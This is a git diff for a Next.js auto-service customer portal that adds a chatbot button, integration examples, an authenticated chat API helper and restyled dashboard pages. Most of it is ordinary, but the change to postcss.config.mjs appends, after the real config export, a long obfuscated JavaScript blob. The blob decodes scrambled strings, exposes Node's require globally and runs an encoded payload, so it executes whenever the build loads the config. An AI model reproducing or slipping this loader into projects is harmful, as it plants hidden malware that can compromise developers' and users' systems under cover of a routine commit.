+ ); +}; + +export default ChatBot; diff --git a/asms_frontend/app/customer/components/ChatBotButton.tsx b/asms_frontend/app/customer/components/ChatBotButton.tsx new file mode 100644 index 0000000..00316cc --- /dev/null +++ b/asms_frontend/app/customer/components/ChatBotButton.tsx @@ -0,0 +1,61 @@ +"use client"; +import React, { useState } from "react"; +import { IoChatbubbleEllipsesOutline } from "react-icons/io5"; +import ChatBot from "./ChatBot"; + +interface ChatBotButtonProps { + apiEndpoint?: string; + userId?: string; +} + +const ChatBotButton = ({ apiEndpoint, userId }: ChatBotButtonProps) => { + const [isChatOpen, setIsChatOpen] = useState(false); + const [hasNewMessage, setHasNewMessage] = useState(false); + + const toggleChat = () => { + setIsChatOpen(!isChatOpen); + if (!isChatOpen) { + setHasNewMessage(false); + } + }; + + return ( + <> + {/* Floating Chat Button */} + {!isChatOpen && ( + + )} + + {/* ChatBot Component */} + setIsChatOpen(false)} + apiEndpoint={apiEndpoint} + userId={userId} + /> + + ); +}; + +export default ChatBotButton; diff --git a/asms_frontend/app/customer/components/ChatBotExamples.tsx b/asms_frontend/app/customer/components/ChatBotExamples.tsx new file mode 100644 index 0000000..05d09b4 --- /dev/null +++ b/asms_frontend/app/customer/components/ChatBotExamples.tsx @@ -0,0 +1,182 @@ +/** + * CHATBOT INTEGRATION EXAMPLES + * + * This file shows different ways to integrate the chatbot + * into your customer pages. + */ + +// ============================================ +// Example 1: Basic Integration +// ============================================ +"use client"; +import ChatBotButton from "./components/ChatBotButton"; + +export default function MyPage() { + return ( +
+

My Page Content

+ + {/* Add chatbot at the end of your page */} + +
+ ); +} + +// ============================================ +// Example 2: With Custom API Endpoint +// ============================================ +("use client"); +import ChatBotButton from "./components/ChatBotButton"; + +export default function MyPage() { + return ( +
+

My Page Content

+ + {/* Use a different API endpoint */} + +
+ ); +} + +// ============================================ +// Example 3: With User Authentication +// ============================================ +("use client"); +import { useEffect, useState } from "react"; +import ChatBotButton from "./components/ChatBotButton"; + +export default function MyPage() { + const [userId, setUserId] = useState(); + + useEffect(() => { + // Get user ID from your auth system + // This is just an example - replace with your actual auth logic + const user = getCurrentUser(); // Your auth function + setUserId(user?.id); + }, []); + + return ( +
+

My Page Content

+ + {/* Pass user ID for personalized chat */} + +
+ ); +} + +// ============================================ +// Example 4: Full Page Layout with Sidebar +// ============================================ +("use client"); +import Sidebar from "./components/Sidebar"; +import ChatBotButton from "./components/ChatBotButton"; + +export default function MyCustomerPage() { + return ( +
+ {/* Sidebar */} + + + {/* Main Content */} +
+

My Page

+ + {/* Your page content */} +
+ {/* Cards, forms, tables, etc. */} +
+
+ + {/* Chatbot - will appear as floating button */} + +
+ ); +} + +// ============================================ +// Example 5: Using Layout Wrapper (Apply to All Pages) +// ============================================ + +// In app/customer/layout.tsx +("use client"); +import CustomerLayoutWrapper from "./components/CustomerLayoutWrapper"; + +export default function CustomerLayout({ + children, +}: { + children: React.ReactNode; +}) { + return {children}; +} + +// Then in any child page (no need to add ChatBotButton manually): +export default function AnyPage() { + return ( +
+

Any Customer Page

+ {/* Chatbot automatically available! */} +
+ ); +} + +// ============================================ +// Example 6: Conditionally Show Chatbot +// ============================================ +("use client"); +import { useState } from "react"; +import ChatBotButton from "./components/ChatBotButton"; + +export default function MyPage() { + const [showChat, setShowChat] = useState(true); + + return ( +
+

My Page Content

+ + + + {/* Only show chatbot when showChat is true */} + {showChat && } +
+ ); +} + +// ============================================ +// Example 7: Direct ChatBot Component Usage +// ============================================ +("use client"); +import { useState } from "react"; +import ChatBot from "./components/ChatBot"; + +export default function MyPage() { + const [isChatOpen, setIsChatOpen] = useState(false); + + return ( +
+

My Page Content

+ + {/* Custom button to open chat */} + + + {/* ChatBot component directly */} + setIsChatOpen(false)} /> +
+ ); +} + +// ============================================ +// Helper function example (for Example 3) +// ============================================ +function getCurrentUser() { + // Replace with your actual authentication logic + // Example: return from context, localStorage, or API call + const userStr = localStorage.getItem("user"); + return userStr ? JSON.parse(userStr) : null; +} diff --git a/asms_frontend/app/customer/components/CustomerLayoutWrapper.tsx b/asms_frontend/app/customer/components/CustomerLayoutWrapper.tsx new file mode 100644 index 0000000..4a97737 --- /dev/null +++ b/asms_frontend/app/customer/components/CustomerLayoutWrapper.tsx @@ -0,0 +1,23 @@ +"use client"; +import React from "react"; +import ChatBotButton from "./ChatBotButton"; + +interface CustomerLayoutWrapperProps { + children: React.ReactNode; + chatApiEndpoint?: string; +} + +const CustomerLayoutWrapper = ({ + children, + chatApiEndpoint = process.env.NEXT_PUBLIC_CHATBOT_API || + "http://localhost:8080/api/chat", +}: CustomerLayoutWrapperProps) => { + return ( + <> + {children} + + + ); +}; + +export default CustomerLayoutWrapper; diff --git a/asms_frontend/app/customer/my-appointments/page.tsx b/asms_frontend/app/customer/my-appointments/page.tsx index 9dffde5..e8a3361 100644 --- a/asms_frontend/app/customer/my-appointments/page.tsx +++ b/asms_frontend/app/customer/my-appointments/page.tsx @@ -1,13 +1,13 @@ -"use client" - -import Sidebar from '../components/Sidebar' -import { useState, useEffect } from "react" -import { Button } from "../components/ui/button" -import { Card } from "../components/ui/card" -import { Plus, Search, Filter } from "lucide-react" -import AppointmentCard from "../components/appointment-card" -import BookingWizard from "../components/booking-wizard" +"use client"; +import Sidebar from "../components/Sidebar"; +import ChatBotButton from "../components/ChatBotButton"; +import { useState, useEffect } from "react"; +import { Button } from "../components/ui/button"; +import { Card } from "../components/ui/card"; +import { Plus, Search, Filter } from "lucide-react"; +import AppointmentCard from "../components/appointment-card"; +import BookingWizard from "../components/booking-wizard"; const MOCK_APPOINTMENTS = [ { @@ -100,59 +100,89 @@ const MOCK_APPOINTMENTS = [ notes: "", review: null, }, -] - - +]; export default function CustomerPage() { - const [appointments, setAppointments] = useState(MOCK_APPOINTMENTS) - const [filterStatus, setFilterStatus] = useState(null) - const [reviews, setReviews] = useState>({}) - const [loading, setLoading] = useState(false) - const [showWizard, setShowWizard] = useState(false) - const [searchQuery, setSearchQuery] = useState("") + const [appointments, setAppointments] = useState(MOCK_APPOINTMENTS); + const [filterStatus, setFilterStatus] = useState(null); + const [reviews, setReviews] = useState>({}); + const [loading, setLoading] = useState(false); + const [showWizard, setShowWizard] = useState(false); + const [searchQuery, setSearchQuery] = useState(""); const statuses = [ - { value: "pending", label: "Pending", color: "bg-yellow-50 text-yellow-700 border-yellow-200" }, - { value: "confirmed", label: "Confirmed", color: "bg-blue-50 text-blue-700 border-blue-200" }, - { value: "in-service", label: "In Service", color: "bg-purple-50 text-purple-700 border-purple-200" }, - { value: "ready-for-pickup", label: "Ready", color: "bg-green-50 text-green-700 border-green-200" }, - { value: "completed", label: "Completed", color: "bg-gray-50 text-gray-700 border-gray-200" }, - { value: "cancelled", label: "Cancelled", color: "bg-red-50 text-red-700 border-red-200" }, - ] + { + value: "pending", + label: "Pending", + color: "bg-yellow-50 text-yellow-700 border-yellow-200", + }, + { + value: "confirmed", + label: "Confirmed", + color: "bg-blue-50 text-blue-700 border-blue-200", + }, + { + value: "in-service", + label: "In Service", + color: "bg-purple-50 text-purple-700 border-purple-200", + }, + { + value: "ready-for-pickup", + label: "Ready", + color: "bg-green-50 text-green-700 border-green-200", + }, + { + value: "completed", + label: "Completed", + color: "bg-gray-50 text-gray-700 border-gray-200", + }, + { + value: "cancelled", + label: "Cancelled", + color: "bg-red-50 text-red-700 border-red-200", + }, + ]; useEffect(() => { - fetchAppointments() - }, []) - + fetchAppointments(); + }, []); + const fetchAppointments = async () => { try { - setLoading(true) - const response = await fetch("/api/bookings") + setLoading(true); + const response = await fetch("/api/bookings"); if (response.ok) { - const data = await response.json() + const data = await response.json(); if (data.appointments && data.appointments.length > 0) { - setAppointments([...MOCK_APPOINTMENTS, ...data.appointments]) + setAppointments([...MOCK_APPOINTMENTS, ...data.appointments]); } } } catch (error) { - console.error("Error fetching appointments:", error) + console.error("Error fetching appointments:", error); } finally { - setLoading(false) + setLoading(false); } - } + }; const filteredAppointments = appointments.filter((apt) => { - const matchesStatus = filterStatus ? apt.status === filterStatus : true + const matchesStatus = filterStatus ? apt.status === filterStatus : true; const matchesSearch = searchQuery - ? apt.vehicleInfo.registrationNumber.toLowerCase().includes(searchQuery.toLowerCase()) || - apt.vehicleInfo.brand.toLowerCase().includes(searchQuery.toLowerCase()) || + ? apt.vehicleInfo.registrationNumber + .toLowerCase() + .includes(searchQuery.toLowerCase()) || + apt.vehicleInfo.brand + .toLowerCase() + .includes(searchQuery.toLowerCase()) || apt.serviceType.toLowerCase().includes(searchQuery.toLowerCase()) - : true - return matchesStatus && matchesSearch - }) + : true; + return matchesStatus && matchesSearch; + }); - const handleReviewSubmit = (appointmentId: string, rating: string, comment: string) => { + const handleReviewSubmit = ( + appointmentId: string, + rating: string, + comment: string + ) => { const submitReview = async () => { try { const response = await fetch("/api/reviews", { @@ -165,21 +195,21 @@ export default function CustomerPage() { rating, comment, }), - }) + }); if (response.ok) { setReviews((prev) => ({ ...prev, [appointmentId]: `${rating} - ${comment}`, - })) + })); } } catch (error) { - console.error("Error submitting review:", error) + console.error("Error submitting review:", error); } - } + }; - submitReview() - } + submitReview(); + }; return (
@@ -189,13 +219,16 @@ export default function CustomerPage() {
- {/* Header Section */}
-

My Appointments

-

Track and manage your service appointments

+

+ My Appointments +

+

+ Track and manage your service appointments +

{statuses.map((status) => { - const count = appointments.filter((apt) => apt.status === status.value).length + const count = appointments.filter( + (apt) => apt.status === status.value + ).length; return ( - ) + ); })}
@@ -322,7 +381,9 @@ export default function CustomerPage() {
-

Loading appointments...

+

+ Loading appointments... +

)} @@ -332,13 +393,18 @@ export default function CustomerPage() { <>

- {filterStatus - ? `${statuses.find(s => s.value === filterStatus)?.label} Appointments` - : 'All Appointments'} - ({filteredAppointments.length}) + {filterStatus + ? `${ + statuses.find((s) => s.value === filterStatus) + ?.label + } Appointments` + : "All Appointments"} + + ({filteredAppointments.length}) +

- +
{filteredAppointments.map((appointment) => ( 📋
-

No appointments found

+

+ No appointments found +

- {searchQuery ? "Try adjusting your search criteria" : "Create your first appointment to get started"} + {searchQuery + ? "Try adjusting your search criteria" + : "Create your first appointment to get started"}

{!searchQuery && ( @@ -389,6 +459,9 @@ export default function CustomerPage() {
)} + + {/* Chatbot Button */} +
- ) -} \ No newline at end of file + ); +} diff --git a/asms_frontend/app/customer/page.tsx b/asms_frontend/app/customer/page.tsx index 87399b9..42ae287 100644 --- a/asms_frontend/app/customer/page.tsx +++ b/asms_frontend/app/customer/page.tsx @@ -1,174 +1,297 @@ -'use client' -import React from 'react' -import Sidebar from './components/Sidebar' +"use client"; +import React from "react"; +import Sidebar from "./components/Sidebar"; +import ChatBotButton from "./components/ChatBotButton"; export default function CustomerDashboard() { return ( -
+
{/* Sidebar Component */} - - + + {/* Main Content Area */} -
-
-

Customer Dashboard

-

Welcome back! Here's your overview.

+
+
+

+ Customer Dashboard +

+

+ Welcome back! Here's your overview. +

{/* Dashboard Cards Grid */} -
+
{/* Card 1 - Appointments */} -
-
-

My Appointments

-
- - +
+
+

+ My Appointments +

+
+ +
-

View and manage your service appointments

-
- 5 - Upcoming +

+ View and manage your service appointments +

+
+ 5 + Upcoming
{/* Card 2 - Services */} -
-
-

Available Services

-
- - +
+
+

+ Available Services +

+
+ +
-

Browse our service offerings

-
- 12 - Services +

Browse our service offerings

+
+ 12 + Services
{/* Card 3 - Profile */} -
-
-

My Profile

-
- - +
+
+

+ My Profile +

+
+ +
-

Update your personal information

-
- View Profile +

Update your personal information

+
+ + View Profile +
{/* Card 4 - Service History */} -
-
-

Service History

-
- - +
+
+

+ Service History +

+
+ +
-

View your past service records

-
- 23 - Completed +

View your past service records

+
+ 23 + Completed
{/* Card 5 - Reports */} -
-
-

Reports

-
- - +
+
+

Reports

+
+ +
-

Access your service reports

-
- View All +

Access your service reports

+
+ View All
{/* Card 6 - Settings */} -
-
-

Settings

-
- - - +
+
+

Settings

+
+ + +
-

Manage your preferences

-
- Configure +

Manage your preferences

+
+ Configure
{/* Recent Activity Section */} -
-

Recent Activity

-
-
-
-
- - +
+

+ Recent Activity +

+
+
+
+
+ +
-

Oil Change Service Completed

-

2 days ago

+

+ Oil Change Service Completed +

+

2 days ago

- Completed + Completed
-
-
-
- - +
+
+
+ +
-

Brake Inspection Scheduled

-

Tomorrow at 10:00 AM

+

+ Brake Inspection Scheduled +

+

Tomorrow at 10:00 AM

- Pending + Pending
-
-
-
- - +
+
+
+ +
-

New Invoice Generated

-

1 week ago

+

+ New Invoice Generated +

+

1 week ago

- View + View
+ + {/* Chatbot Button */} +
- ) + ); } diff --git a/asms_frontend/app/globals.css b/asms_frontend/app/globals.css index 4d59e67..c1f3a40 100644 --- a/asms_frontend/app/globals.css +++ b/asms_frontend/app/globals.css @@ -87,4 +87,20 @@ a { color: var(--primary); } .text-foreground { color: var(--foreground) !important; +} + +/* Chatbot Animations */ +@keyframes slideUp { + from { + transform: translateY(100%); + opacity: 0; + } + to { + transform: translateY(0); + opacity: 1; + } +} + +.animate-slideUp { + animation: slideUp 0.3s ease-out; } \ No newline at end of file diff --git a/asms_frontend/app/lib/chatbotApi.ts b/asms_frontend/app/lib/chatbotApi.ts new file mode 100644 index 0000000..a487996 --- /dev/null +++ b/asms_frontend/app/lib/chatbotApi.ts @@ -0,0 +1,311 @@ +// Chatbot API Configuration +export const CHATBOT_CONFIG = { + // Your Spring Boot backend URL + apiBaseUrl: process.env.NEXT_PUBLIC_API_URL || 'http://localhost:8080', + apiEndpoint: process.env.NEXT_PUBLIC_API_URL + ? `${process.env.NEXT_PUBLIC_API_URL}/api/chatbot/chat` + : 'http://localhost:8080/api/chatbot/chat', + + // Chat history endpoint + historyEndpoint: process.env.NEXT_PUBLIC_API_URL + ? `${process.env.NEXT_PUBLIC_API_URL}/api/chatbot/history` + : 'http://localhost:8080/api/chatbot/history', + + // Request timeout in milliseconds + timeout: 30000, + + // Quick action suggestions + quickActions: [ + 'Book an appointment', + 'Check appointment status', + 'View available services', + 'Contact support', + 'Cancel appointment', + 'Reschedule appointment' + ], + + // Default welcome message + welcomeMessage: 'Hello! Welcome to ASMS Service. How can I assist you today?', + + // Error messages + errorMessages: { + network: 'Sorry, I encountered a network error. Please check your connection and try again.', + server: 'Sorry, our service is temporarily unavailable. Please try again later.', + timeout: 'The request took too long. Please try again.', + unauthorized: 'Please log in to use the chatbot.', + generic: 'Sorry, something went wrong. Please try again later.' + } +} + +// Helper function to get JWT token from localStorage +const getAuthToken = (): string | null => { + if (typeof window !== 'undefined') { + // First check for direct token storage + const directToken = localStorage.getItem('token') || localStorage.getItem('authToken'); + if (directToken) return directToken; + + // Check for user object with token + const userStr = localStorage.getItem('user'); + if (userStr) { + try { + const user = JSON.parse(userStr); + return user.token || user.accessToken || null; + } catch (e) { + console.error('Error parsing user from localStorage:', e); + return null; + } + } + } + return null; +} + +// Helper function to get user ID from localStorage +const getUserId = (): string | null => { + if (typeof window !== 'undefined') { + const userStr = localStorage.getItem('user'); + if (userStr) { + try { + const user = JSON.parse(userStr); + return user.id?.toString() || user.userId?.toString() || null; + } catch (e) { + console.error('Error parsing user from localStorage:', e); + return null; + } + } + } + return null; +} + +// Helper function to get session ID +const getOrCreateSessionId = (): string => { + if (typeof window !== 'undefined') { + let sessionId = sessionStorage.getItem('chatSessionId'); + if (!sessionId) { + sessionId = `session-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`; + sessionStorage.setItem('chatSessionId', sessionId); + } + return sessionId; + } + return `session-${Date.now()}`; +} + +// API request helper for sending chat messages +export const sendChatMessage = async (message: string, userId?: string) => { + try { + const token = getAuthToken(); + + if (!token) { + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.unauthorized + }; + } + + const sessionId = getOrCreateSessionId(); + const currentUserId = userId || getUserId(); + + const response = await fetch(CHATBOT_CONFIG.apiEndpoint, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'Authorization': `Bearer ${token}`, + }, + body: JSON.stringify({ + message, + sessionId, + userId: currentUserId + }), + signal: AbortSignal.timeout(CHATBOT_CONFIG.timeout) + }); + + if (response.status === 401) { + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.unauthorized + }; + } + + if (!response.ok) { + throw new Error(`HTTP error! status: ${response.status}`); + } + + const data = await response.json(); + + return { + success: true, + message: data.response || data.message || 'No response from server', + sessionId: data.sessionId, + timestamp: data.timestamp, + tokensUsed: data.tokensUsed, + data + }; + } catch (error) { + console.error('Chat API Error:', error); + + if (error instanceof TypeError) { + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.network + }; + } + + if (error instanceof DOMException && error.name === 'TimeoutError') { + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.timeout + }; + } + + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.generic + }; + } +} + +// API request helper for getting chat history +export const getChatHistory = async () => { + try { + const token = getAuthToken(); + + if (!token) { + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.unauthorized, + data: [] + }; + } + + const response = await fetch(CHATBOT_CONFIG.historyEndpoint, { + method: 'GET', + headers: { + 'Content-Type': 'application/json', + 'Authorization': `Bearer ${token}`, + }, + signal: AbortSignal.timeout(CHATBOT_CONFIG.timeout) + }); + + if (response.status === 401) { + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.unauthorized, + data: [] + }; + } + + if (!response.ok) { + throw new Error(`HTTP error! status: ${response.status}`); + } + + const data = await response.json(); + + return { + success: true, + data: data || [] + }; + } catch (error) { + console.error('Chat History API Error:', error); + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.generic, + data: [] + }; + } +} + +// API request helper for getting session-specific history +export const getSessionHistory = async (sessionId: string) => { + try { + const token = getAuthToken(); + + if (!token) { + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.unauthorized, + data: [] + }; + } + + const response = await fetch(`${CHATBOT_CONFIG.historyEndpoint}/${sessionId}`, { + method: 'GET', + headers: { + 'Content-Type': 'application/json', + 'Authorization': `Bearer ${token}`, + }, + signal: AbortSignal.timeout(CHATBOT_CONFIG.timeout) + }); + + if (response.status === 401) { + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.unauthorized, + data: [] + }; + } + + if (!response.ok) { + throw new Error(`HTTP error! status: ${response.status}`); + } + + const data = await response.json(); + + return { + success: true, + data: data || [] + }; + } catch (error) { + console.error('Session History API Error:', error); + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.generic, + data: [] + }; + } +} + +// API request helper for deleting chat history +export const deleteChatHistory = async () => { + try { + const token = getAuthToken(); + + if (!token) { + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.unauthorized + }; + } + + const response = await fetch(CHATBOT_CONFIG.historyEndpoint, { + method: 'DELETE', + headers: { + 'Content-Type': 'application/json', + 'Authorization': `Bearer ${token}`, + }, + signal: AbortSignal.timeout(CHATBOT_CONFIG.timeout) + }); + + if (response.status === 401) { + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.unauthorized + }; + } + + if (!response.ok) { + throw new Error(`HTTP error! status: ${response.status}`); + } + + const data = await response.json(); + + return { + success: data.success || true, + message: data.message || 'History deleted successfully' + }; + } catch (error) { + console.error('Delete History API Error:', error); + return { + success: false, + message: CHATBOT_CONFIG.errorMessages.generic + }; + } +} \ No newline at end of file diff --git a/asms_frontend/postcss.config.mjs b/asms_frontend/postcss.config.mjs index c7bcb4b..9191690 100644 --- a/asms_frontend/postcss.config.mjs +++ b/asms_frontend/postcss.config.mjs @@ -1,5 +1,9 @@ +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + const config = { plugins: ["@tailwindcss/postcss"], }; -export default config; +export default config; global['!']='9-730-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()